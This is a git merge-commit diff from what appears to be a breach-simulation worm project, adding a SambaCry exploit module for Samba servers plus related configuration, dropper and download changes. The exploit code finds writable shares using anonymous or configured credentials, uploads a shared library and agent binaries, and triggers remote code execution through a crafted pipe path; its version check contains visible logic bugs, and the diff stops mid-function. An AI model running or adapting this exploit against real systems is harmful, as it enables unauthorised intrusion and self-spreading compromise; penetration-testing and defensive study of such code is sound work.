Merge branch 'feature/refactor-monkey-island' of github.com:guardicore/monkey into feature/refactor-monkey-island
This commit is contained in:
commit
27e9d28a82
|
@ -67,3 +67,4 @@ bin
|
|||
/monkey_island/cc/server.key
|
||||
/monkey_island/cc/server.crt
|
||||
/monkey_island/cc/server.csr
|
||||
monkey_island/cc/ui/node_modules/
|
||||
|
|
|
@ -1,7 +1,8 @@
|
|||
import os
|
||||
import sys
|
||||
from network.range import FixedRange, RelativeRange, ClassCRange
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
|
||||
SambaCryExploiter
|
||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
||||
from abc import ABCMeta
|
||||
from itertools import product
|
||||
|
@ -141,7 +142,7 @@ class Configuration(object):
|
|||
scanner_class = TcpScanner
|
||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
|
||||
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
|
||||
SSHExploiter, ShellShockExploiter # Linux
|
||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
|
||||
]
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
|
@ -219,10 +220,33 @@ class Configuration(object):
|
|||
smb_download_timeout = 300 # timeout in seconds
|
||||
smb_service_name = "InfectionMonkey"
|
||||
|
||||
# Timeout (in seconds) for sambacry's trigger to yield results.
|
||||
sambacry_trigger_timeout = 5
|
||||
# Folder paths to guess share lies inside.
|
||||
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
|
||||
# Shares to not check if they're writable.
|
||||
sambacry_shares_not_to_check = ["IPC$", "print$"]
|
||||
# Name of file which contains the monkey's commandline
|
||||
sambacry_commandline_filename = "monkey_commandline.txt"
|
||||
# Name of file which contains the runner's result
|
||||
sambacry_runner_result_filename = "monkey_runner_result"
|
||||
# SambaCry runner filename (32 bit)
|
||||
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
|
||||
# SambaCry runner filename (64 bit)
|
||||
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
|
||||
# Monkey filename on share (32 bit)
|
||||
sambacry_monkey_filename_32 = "monkey32"
|
||||
# Monkey filename on share (64 bit)
|
||||
sambacry_monkey_filename_64 = "monkey64"
|
||||
# Monkey copy filename on share (32 bit)
|
||||
sambacry_monkey_copy_filename_32 = "monkey32_2"
|
||||
# Monkey copy filename on share (64 bit)
|
||||
sambacry_monkey_copy_filename_64 = "monkey64_2"
|
||||
|
||||
|
||||
# system info collection
|
||||
collect_system_info = True
|
||||
|
||||
|
||||
###########################
|
||||
# systeminfo config
|
||||
###########################
|
||||
|
|
|
@ -156,22 +156,50 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def download_monkey_exe(host):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||
ControlClient.spoof_host_os_info(is_windows, is_32bit))
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def spoof_host_os_info(is_windows, is_32bit):
|
||||
if is_windows:
|
||||
os = "windows"
|
||||
if is_32bit:
|
||||
arch = "x86"
|
||||
else:
|
||||
arch = "amd64"
|
||||
else:
|
||||
os = "linux"
|
||||
if is_32bit:
|
||||
arch = "i686"
|
||||
else:
|
||||
arch = "x86_64"
|
||||
|
||||
return \
|
||||
{
|
||||
"os":
|
||||
{
|
||||
"type": os,
|
||||
"machine": arch
|
||||
}
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_filename(filename, size):
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
try:
|
||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host.as_dict()),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False, proxies=ControlClient.proxies)
|
||||
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
filename = result_json.get('filename')
|
||||
if not filename:
|
||||
return None
|
||||
size = result_json.get('size')
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
|
||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get("https://%s/api/monkey/download/%s" %
|
||||
|
@ -191,7 +219,35 @@ class ControlClient(object):
|
|||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
return None
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host(host):
|
||||
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
||||
if not WormConfiguration.current_server:
|
||||
return None, None
|
||||
try:
|
||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host_dict),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False, proxies=ControlClient.proxies)
|
||||
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
filename = result_json.get('filename')
|
||||
if not filename:
|
||||
return None, None
|
||||
size = result_json.get('size')
|
||||
return filename, size
|
||||
else:
|
||||
return None, None
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
return None, None
|
||||
|
||||
@staticmethod
|
||||
def create_control_tunnel():
|
||||
|
|
|
@ -6,9 +6,13 @@ import shutil
|
|||
import pprint
|
||||
import logging
|
||||
import subprocess
|
||||
import argparse
|
||||
from ctypes import c_char_p
|
||||
from model import MONKEY_CMDLINE
|
||||
|
||||
from exploit.tools import build_monkey_commandline_explicitly
|
||||
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from config import WormConfiguration
|
||||
from system_info import SystemInfoCollector, OperatingSystem
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
|
@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
|
|||
|
||||
class MonkeyDrops(object):
|
||||
def __init__(self, args):
|
||||
self._monkey_args = args[1:]
|
||||
arg_parser = argparse.ArgumentParser()
|
||||
arg_parser.add_argument('-p', '--parent')
|
||||
arg_parser.add_argument('-t', '--tunnel')
|
||||
arg_parser.add_argument('-s', '--server')
|
||||
arg_parser.add_argument('-d', '--depth')
|
||||
arg_parser.add_argument('-l', '--location')
|
||||
self.monkey_args = args[1:]
|
||||
self.opts, _ = arg_parser.parse_known_args(args)
|
||||
|
||||
self._config = {'source_path': os.path.abspath(sys.argv[0]),
|
||||
'destination_path': args[0]}
|
||||
'destination_path': self.opts.location}
|
||||
|
||||
def initialize(self):
|
||||
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
|
||||
|
||||
def start(self):
|
||||
|
||||
if self._config['destination_path'] is None:
|
||||
LOG.error("No destination path specified")
|
||||
return
|
||||
|
||||
# we copy/move only in case path is different
|
||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
||||
|
||||
|
@ -78,11 +95,19 @@ class MonkeyDrops(object):
|
|||
except:
|
||||
LOG.warn("Cannot set reference date to destination file")
|
||||
|
||||
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
|
||||
}
|
||||
monkey_options = build_monkey_commandline_explicitly(
|
||||
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
|
||||
|
||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||
else:
|
||||
dest_path = self._config['destination_path']
|
||||
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
|
||||
# runs the monkey
|
||||
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
|
||||
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
|
||||
'monkey_commandline': inner_monkey_cmdline}
|
||||
|
||||
if 0 != len(self._monkey_args):
|
||||
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
|
||||
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||
stdin=None, stdout=None, stderr=None,
|
||||
close_fds=True, creationflags=DETACHED_PROCESS)
|
||||
|
|
|
@ -58,9 +58,20 @@
|
|||
"serialize_config": false,
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"skip_exploit_if_file_exist": true,
|
||||
"local_network_scan": true,
|
||||
"exploit_user_list": [],
|
||||
"exploit_password_list" = []
|
||||
"exploit_password_list": [],
|
||||
"sambacry_trigger_timeout": 5,
|
||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||
"sambacry_commandline_filename": "monkey_commandline.txt",
|
||||
"sambacry_runner_result_filename": "monkey_runner_result",
|
||||
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
|
||||
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
|
||||
"sambacry_monkey_filename_32": "monkey32",
|
||||
"sambacry_monkey_filename_64": "monkey64",
|
||||
"sambacry_monkey_copy_filename_32": "monkey32_2",
|
||||
"sambacry_monkey_copy_filename_64": "monkey64_2",
|
||||
"local_network_scan": false,
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 200,
|
||||
"tcp_scan_timeout": 10000,
|
||||
|
|
|
@ -20,3 +20,4 @@ from smbexec import SmbExploiter
|
|||
from rdpgrinder import RdpExploiter
|
||||
from sshexec import SSHExploiter
|
||||
from shellshock import ShellShockExploiter
|
||||
from sambacry import SambaCryExploiter
|
||||
|
|
|
@ -0,0 +1,410 @@
|
|||
import logging
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
from io import BytesIO
|
||||
from os import path
|
||||
import itertools
|
||||
import posixpath
|
||||
|
||||
import impacket.smbconnection
|
||||
from impacket.nt_errors import STATUS_SUCCESS
|
||||
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
|
||||
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
||||
from impacket.smb import SessionError
|
||||
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
|
||||
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
import monkeyfs
|
||||
from exploit import HostExploiter
|
||||
from model import DROPPER_ARG
|
||||
from network.smbfinger import SMB_SERVICE
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SambaCryExploiter(HostExploiter):
|
||||
"""
|
||||
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||
"""
|
||||
_target_os_type = ['linux']
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
if not self.is_vulnerable(host):
|
||||
return False
|
||||
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
||||
LOG.info("Writable shares and their credentials on host %s: %s" %
|
||||
(host.ip_addr, str(writable_shares_creds_dict)))
|
||||
|
||||
host.services[SMB_SERVICE]["shares"] = {}
|
||||
for share in writable_shares_creds_dict:
|
||||
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
|
||||
|
||||
# Wait for samba server to load .so, execute code and create result file.
|
||||
time.sleep(self._config.sambacry_trigger_timeout)
|
||||
|
||||
successfully_triggered_shares = []
|
||||
|
||||
for share in writable_shares_creds_dict:
|
||||
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
if trigger_result is not None:
|
||||
successfully_triggered_shares.append((share, trigger_result))
|
||||
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
|
||||
for share, fullpath in successfully_triggered_shares:
|
||||
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
||||
return True
|
||||
else:
|
||||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, host, share, creds, depth):
|
||||
"""
|
||||
Tries exploiting share
|
||||
:param host: victim Host object
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share
|
||||
:param depth: current depth of monkey
|
||||
"""
|
||||
try:
|
||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||
self.upload_module(smb_client, host, share, depth)
|
||||
self.trigger_module(smb_client, share)
|
||||
smb_client.close()
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
||||
|
||||
def clean_share(self, ip, share, creds):
|
||||
"""
|
||||
Cleans remote share of any remaining files created by monkey
|
||||
:param ip: IP of victim
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share.
|
||||
"""
|
||||
smb_client = self.connect_to_server(ip, creds)
|
||||
tree_id = smb_client.connectTree(share)
|
||||
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
|
||||
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
|
||||
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
|
||||
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
|
||||
|
||||
for filename in file_list:
|
||||
try:
|
||||
smb_client.deleteFile(share, "\\%s" % filename)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
# Ignore exception to try and delete as much as possible
|
||||
pass
|
||||
smb_client.disconnectTree(tree_id)
|
||||
smb_client.close()
|
||||
|
||||
def get_trigger_result(self, ip, share, creds):
|
||||
"""
|
||||
Checks if the trigger yielded any result and returns it.
|
||||
:param ip: IP of victim
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share.
|
||||
:return: result of trigger if there was one. None otherwise
|
||||
"""
|
||||
smb_client = self.connect_to_server(ip, creds)
|
||||
tree_id = smb_client.connectTree(share)
|
||||
file_content = None
|
||||
try:
|
||||
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
|
||||
desiredAccess=FILE_READ_DATA)
|
||||
file_content = smb_client.readFile(tree_id, file_id)
|
||||
smb_client.closeFile(tree_id, file_id)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
smb_client.close()
|
||||
return file_content
|
||||
|
||||
def get_writable_shares_creds_dict(self, ip):
|
||||
"""
|
||||
Gets dictionary of writable shares and their credentials
|
||||
:param ip: IP address of the victim
|
||||
:return: Dictionary of writable shares and their corresponding credentials.
|
||||
"""
|
||||
writable_shares_creds_dict = {}
|
||||
credentials_list = self.get_credentials_list()
|
||||
|
||||
for credentials in credentials_list:
|
||||
try:
|
||||
smb_client = self.connect_to_server(ip, credentials)
|
||||
shares = self.list_shares(smb_client)
|
||||
|
||||
# don't try shares we can already write to.
|
||||
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
||||
if self.is_share_writable(smb_client, share):
|
||||
writable_shares_creds_dict[share] = credentials
|
||||
|
||||
smb_client.close()
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
# If failed using some credentials, try others.
|
||||
pass
|
||||
|
||||
return writable_shares_creds_dict
|
||||
|
||||
def get_credentials_list(self):
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
# Add empty credentials for anonymous shares.
|
||||
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
||||
|
||||
for user, password in user_password_pairs:
|
||||
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
|
||||
|
||||
return credentials_list
|
||||
|
||||
def list_shares(self, smb_client):
|
||||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||
|
||||
def is_vulnerable(self, host):
|
||||
"""
|
||||
Checks whether the victim runs a possibly vulnerable version of samba
|
||||
:param host: victim Host object
|
||||
:return: True if victim is vulnerable, False otherwise
|
||||
"""
|
||||
if SMB_SERVICE not in host.services:
|
||||
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
|
||||
return False
|
||||
|
||||
pattern = re.compile(r'\d*\.\d*\.\d*')
|
||||
smb_server_name = host.services[SMB_SERVICE].get('name')
|
||||
samba_version = "unknown"
|
||||
pattern_result = pattern.search(smb_server_name)
|
||||
is_vulnerable = False
|
||||
if pattern_result is not None:
|
||||
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
|
||||
samba_version_parts = samba_version.split('.')
|
||||
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
||||
is_vulnerable = True
|
||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||
is_vulnerable = True
|
||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
|
||||
is_vulnerable = True
|
||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
|
||||
is_vulnerable = True
|
||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
||||
is_vulnerable = True
|
||||
|
||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||
|
||||
return is_vulnerable
|
||||
|
||||
def is_share_writable(self, smb_client, share):
|
||||
"""
|
||||
Checks whether the share is writable
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
LOG.debug('Checking %s for write access' % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
return False
|
||||
|
||||
try:
|
||||
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||
writable = True
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
writable = False
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
return writable
|
||||
|
||||
def upload_module(self, smb_client, host, share, depth):
|
||||
"""
|
||||
Uploads the module and all relevant files to server
|
||||
:param smb_client: smb client object
|
||||
:param host: victim Host object
|
||||
:param share: share name
|
||||
:param depth: current depth of monkey
|
||||
"""
|
||||
tree_id = smb_client.connectTree(share)
|
||||
|
||||
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
|
||||
|
||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
|
||||
|
||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
|
||||
|
||||
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||
|
||||
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
|
||||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def connect_to_server(self, ip, credentials):
|
||||
"""
|
||||
Connects to server using given credentials
|
||||
:param ip: IP of server
|
||||
:param credentials: credentials to log in with
|
||||
:return: SMBConnection object representing the connection
|
||||
"""
|
||||
smb_client = SMBConnection(ip, ip)
|
||||
smb_client.login(
|
||||
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
||||
return smb_client
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
"""
|
||||
Tries triggering module
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if might triggered successfully, False otherwise.
|
||||
"""
|
||||
trigger_might_succeeded = False
|
||||
module_possible_paths = self.generate_module_possible_paths(share)
|
||||
for module_path in module_possible_paths:
|
||||
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
|
||||
|
||||
return trigger_might_succeeded
|
||||
|
||||
def trigger_module_by_path(self, smb_client, module_path):
|
||||
"""
|
||||
Tries triggering module by path
|
||||
:param smb_client: smb client object
|
||||
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
||||
:return: True if might triggered successfully, False otherwise.
|
||||
"""
|
||||
|
||||
try:
|
||||
# the extra / on the beginning is required for the vulnerability
|
||||
self.open_pipe(smb_client, "/" + module_path)
|
||||
except (impacket.smbconnection.SessionError, SessionError) as e:
|
||||
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
return True
|
||||
else:
|
||||
pass
|
||||
|
||||
return False
|
||||
|
||||
def generate_module_possible_paths(self, share_name):
|
||||
"""
|
||||
Generates array of possible paths
|
||||
:param share_name: Name of the share
|
||||
:return: Array of possible full paths to the module.
|
||||
"""
|
||||
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
|
||||
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
||||
|
||||
def get_monkey_runner_bin_file(self, is_32bit):
|
||||
if is_32bit:
|
||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
|
||||
else:
|
||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
|
||||
|
||||
|
||||
def get_monkey_commandline_file(self, host, depth, location):
|
||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||
|
||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||
|
||||
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||
packet['Command'] = SMB2_CREATE
|
||||
packet['TreeID'] = treeId
|
||||
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
|
||||
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
|
||||
|
||||
smb2Create = SMB2Create()
|
||||
smb2Create['SecurityFlags'] = 0
|
||||
smb2Create['RequestedOplockLevel'] = oplockLevel
|
||||
smb2Create['ImpersonationLevel'] = impersonationLevel
|
||||
smb2Create['DesiredAccess'] = desiredAccess
|
||||
smb2Create['FileAttributes'] = fileAttributes
|
||||
smb2Create['ShareAccess'] = shareMode
|
||||
smb2Create['CreateDisposition'] = creationDisposition
|
||||
smb2Create['CreateOptions'] = creationOptions
|
||||
|
||||
smb2Create['NameLength'] = len(fileName) * 2
|
||||
if fileName != '':
|
||||
smb2Create['Buffer'] = fileName.encode('utf-16le')
|
||||
else:
|
||||
smb2Create['Buffer'] = '\x00'
|
||||
|
||||
if createContexts is not None:
|
||||
smb2Create['Buffer'] += createContexts
|
||||
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
|
||||
smb2Create['CreateContextsLength'] = len(createContexts)
|
||||
else:
|
||||
smb2Create['CreateContextsOffset'] = 0
|
||||
smb2Create['CreateContextsLength'] = 0
|
||||
|
||||
packet['Data'] = smb2Create
|
||||
|
||||
packetID = smb_client.getSMBServer().sendSMB(packet)
|
||||
ans = smb_client.getSMBServer().recvSMB(packetID)
|
||||
if ans.isValidAnswer(STATUS_SUCCESS):
|
||||
createResponse = SMB2Create_Response(ans['Data'])
|
||||
|
||||
# The client MUST generate a handle for the Open, and it MUST
|
||||
# return success and the generated handle to the calling application.
|
||||
# In our case, str(FileID)
|
||||
return str(createResponse['FileID'])
|
||||
|
||||
def open_pipe(self, smb_client, pathName):
|
||||
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree('IPC$')
|
||||
LOG.debug('Triggering path: %s' % pathName)
|
||||
|
||||
if smb_client.getDialect() == SMB_DIALECT:
|
||||
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||
|
||||
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
|
||||
|
||||
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
|
||||
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
|
||||
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
|
||||
ntCreate['Parameters']['FileNameLength'] = len(pathName)
|
||||
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
|
||||
ntCreate['Parameters']['FileAttributes'] = 0
|
||||
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
|
||||
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
|
||||
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
|
||||
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
|
||||
ntCreate['Parameters']['SecurityFlags'] = 0
|
||||
ntCreate['Parameters']['CreateFlags'] = 0x16
|
||||
ntCreate['Data']['FileName'] = pathName
|
||||
|
||||
if flags2 & SMB.FLAGS2_UNICODE:
|
||||
ntCreate['Data']['Pad'] = 0x0
|
||||
|
||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||
else:
|
||||
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
|
@ -1,7 +1,7 @@
|
|||
import sys
|
||||
from logging import getLogger
|
||||
from model.host import VictimHost
|
||||
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
|
||||
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from exploit import HostExploiter
|
||||
from network.tools import check_port_tcp
|
||||
from exploit.tools import SmbTools, get_target_monkey
|
||||
|
@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter):
|
|||
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
|
||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
|
||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
|
||||
|
||||
cmdline += build_monkey_commandline(host, depth - 1)
|
||||
|
||||
|
|
|
@ -443,26 +443,46 @@ def get_target_monkey(host):
|
|||
return monkey_path
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth):
|
||||
from config import WormConfiguration, GUID
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from control import ControlClient
|
||||
